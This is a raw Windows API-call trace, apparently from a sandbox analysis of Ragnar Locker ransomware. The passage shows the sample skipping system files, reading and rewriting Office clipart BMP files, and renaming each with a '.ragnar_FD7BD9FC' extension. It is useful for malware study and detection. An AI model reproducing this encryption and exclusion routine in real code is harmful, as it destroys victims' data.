[0083.451] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0083.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp")) returned 0x20 [0083.452] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.452] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=32184) returned 1 [0083.452] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7daf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.452] GetProcessHeap () returned 0x580000 [0083.452] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.452] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.453] VirtualAlloc (lpAddress=0x0, dwSize=0x7db8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.454] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.454] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.454] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7db8, lpOverlapped=0x0) returned 1 [0083.457] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.457] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7db8, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.457] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7db8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7db8, lpOverlapped=0x0) returned 1 [0083.457] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7db8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.457] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.458] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7db8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.458] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.458] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.458] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.458] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.458] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.458] GetProcessHeap () returned 0x580000 [0083.458] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.458] CloseHandle (hObject=0xf4) returned 1 [0083.458] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" [0083.458] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.ragnar_FD7BD9FC" [0083.458] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.459] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5f9a000, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5f9a000, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101862.BMP", cAlternateFileName="")) returned 1 [0083.459] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.459] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0101862.BMP" | out: lpString1="J0101862.BMP") returned="J0101862.BMP" [0083.459] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned=".BMP" [0083.459] lstrcmpiW (lpString1="J0101862.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.459] lstrcmpiW (lpString1="J0101862.BMP", lpString2="autorun.inf") returned 1 [0083.459] lstrcmpiW (lpString1="J0101862.BMP", lpString2="boot.ini") returned 1 [0083.459] lstrcmpiW (lpString1="J0101862.BMP", lpString2="bootfont.bin") returned 1 [0083.459] lstrcmpiW (lpString1="J0101862.BMP", lpString2="bootsect.bak") returned 1 [0083.459] lstrcmpiW (lpString1="J0101862.BMP", lpString2="bootmgr") returned 1 [0083.459] lstrcmpiW (lpString1="J0101862.BMP", lpString2="bootmgr.efi") returned 1 [0083.459] lstrcmpiW (lpString1="J0101862.BMP", lpString2="bootmgfw.efi") returned 1 [0083.459] lstrcmpiW (lpString1="J0101862.BMP", lpString2="desktop.ini") returned 1 [0083.459] lstrcmpiW (lpString1="J0101862.BMP", lpString2="iconcache.db") returned 1 [0083.459] lstrcmpiW (lpString1="J0101862.BMP", lpString2="ntldr") returned -1 [0083.459] lstrcmpiW (lpString1="J0101862.BMP", lpString2="ntuser.dat") returned -1 [0083.459] lstrcmpiW (lpString1="J0101862.BMP", lpString2="ntuser.dat.log") returned -1 [0083.459] lstrcmpiW (lpString1="J0101862.BMP", lpString2="ntuser.ini") returned -1 [0083.459] lstrcmpiW (lpString1="J0101862.BMP", lpString2="thumbs.db") returned -1 [0083.459] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0083.459] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0083.459] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0083.459] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0083.459] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0083.459] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0083.459] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0083.460] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp")) returned 0x20 [0083.460] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.460] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=32184) returned 1 [0083.460] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7daf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.460] GetProcessHeap () returned 0x580000 [0083.460] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.460] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.461] VirtualAlloc (lpAddress=0x0, dwSize=0x7db8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.462] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.462] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.462] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7db8, lpOverlapped=0x0) returned 1 [0083.463] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.463] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7db8, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.463] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7db8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7db8, lpOverlapped=0x0) returned 1 [0083.464] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7db8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.464] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.464] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7db8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.464] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.464] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.464] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.464] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.464] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.464] GetProcessHeap () returned 0x580000 [0083.464] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.464] CloseHandle (hObject=0xf4) returned 1 [0083.464] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" [0083.464] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.ragnar_FD7BD9FC" [0083.465] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.465] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1e56200, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1e56200, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101863.BMP", cAlternateFileName="")) returned 1 [0083.465] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.465] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0101863.BMP" | out: lpString1="J0101863.BMP") returned="J0101863.BMP" [0083.465] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned=".BMP" [0083.465] lstrcmpiW (lpString1="J0101863.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.465] lstrcmpiW (lpString1="J0101863.BMP", lpString2="autorun.inf") returned 1 [0083.465] lstrcmpiW (lpString1="J0101863.BMP", lpString2="boot.ini") returned 1 [0083.465] lstrcmpiW (lpString1="J0101863.BMP", lpString2="bootfont.bin") returned 1 [0083.465] lstrcmpiW (lpString1="J0101863.BMP", lpString2="bootsect.bak") returned 1 [0083.465] lstrcmpiW (lpString1="J0101863.BMP", lpString2="bootmgr") returned 1 [0083.465] lstrcmpiW (lpString1="J0101863.BMP", lpString2="bootmgr.efi") returned 1 [0083.465] lstrcmpiW (lpString1="J0101863.BMP", lpString2="bootmgfw.efi") returned 1 [0083.465] lstrcmpiW (lpString1="J0101863.BMP", lpString2="desktop.ini") returned 1 [0083.465] lstrcmpiW (lpString1="J0101863.BMP", lpString2="iconcache.db") returned 1 [0083.465] lstrcmpiW (lpString1="J0101863.BMP", lpString2="ntldr") returned -1 [0083.465] lstrcmpiW (lpString1="J0101863.BMP", lpString2="ntuser.dat") returned -1 [0083.466] lstrcmpiW (lpString1="J0101863.BMP", lpString2="ntuser.dat.log") returned -1 [0083.466] lstrcmpiW (lpString1="J0101863.BMP", lpString2="ntuser.ini") returned -1 [0083.466] lstrcmpiW (lpString1="J0101863.BMP", lpString2="thumbs.db") returned -1 [0083.466] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0083.466] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0083.466] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0083.466] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0083.466] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0083.466] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0083.466] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0083.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp")) returned 0x20 [0083.466] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.466] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=32184) returned 1 [0083.466] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7daf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.466] GetProcessHeap () returned 0x580000 [0083.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.466] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.468] VirtualAlloc (lpAddress=0x0, dwSize=0x7db8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.468] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.468] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.468] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7db8, lpOverlapped=0x0) returned 1 [0083.470] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.470] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7db8, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.470] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7db8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7db8, lpOverlapped=0x0) returned 1 [0083.470] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7db8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.470] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.470] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7db8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.470] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.471] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.471] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.471] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.471] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.471] GetProcessHeap () returned 0x580000 [0083.471] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.471] CloseHandle (hObject=0xf4) returned 1 [0083.471] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" [0083.471] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.ragnar_FD7BD9FC" [0083.471] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.472] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc447bc00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc447bc00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101864.BMP", cAlternateFileName="")) returned 1 [0083.472] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.472] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0101864.BMP" | out: lpString1="J0101864.BMP") returned="J0101864.BMP" [0083.472] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned=".BMP" [0083.472] lstrcmpiW (lpString1="J0101864.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.472] lstrcmpiW (lpString1="J0101864.BMP", lpString2="autorun.inf") returned 1 [0083.472] lstrcmpiW (lpString1="J0101864.BMP", lpString2="boot.ini") returned 1 [0083.472] lstrcmpiW (lpString1="J0101864.BMP", lpString2="bootfont.bin") returned 1 [0083.472] lstrcmpiW (lpString1="J0101864.BMP", lpString2="bootsect.bak") returned 1 [0083.472] lstrcmpiW (lpString1="J0101864.BMP", lpString2="bootmgr") returned 1 [0083.472] lstrcmpiW (lpString1="J0101864.BMP", lpString2="bootmgr.efi") returned 1 [0083.472] lstrcmpiW (lpString1="J0101864.BMP", lpString2="bootmgfw.efi") returned 1 [0083.472] lstrcmpiW (lpString1="J0101864.BMP", lpString2="desktop.ini") returned 1 [0083.472] lstrcmpiW (lpString1="J0101864.BMP", lpString2="iconcache.db") returned 1 [0083.472] lstrcmpiW (lpString1="J0101864.BMP", lpString2="ntldr") returned -1 [0083.472] lstrcmpiW (lpString1="J0101864.BMP", lpString2="ntuser.dat") returned -1 [0083.472] lstrcmpiW (lpString1="J0101864.BMP", lpString2="ntuser.dat.log") returned -1 [0083.472] lstrcmpiW (lpString1="J0101864.BMP", lpString2="ntuser.ini") returned -1 [0083.472] lstrcmpiW (lpString1="J0101864.BMP", lpString2="thumbs.db") returned -1 [0083.472] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0083.472] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0083.472] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0083.472] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0083.472] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0083.472] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0083.472] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0083.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp")) returned 0x20 [0083.472] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.473] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31968) returned 1 [0083.473] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7cd7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.473] GetProcessHeap () returned 0x580000 [0083.473] RtlAllocateHeap 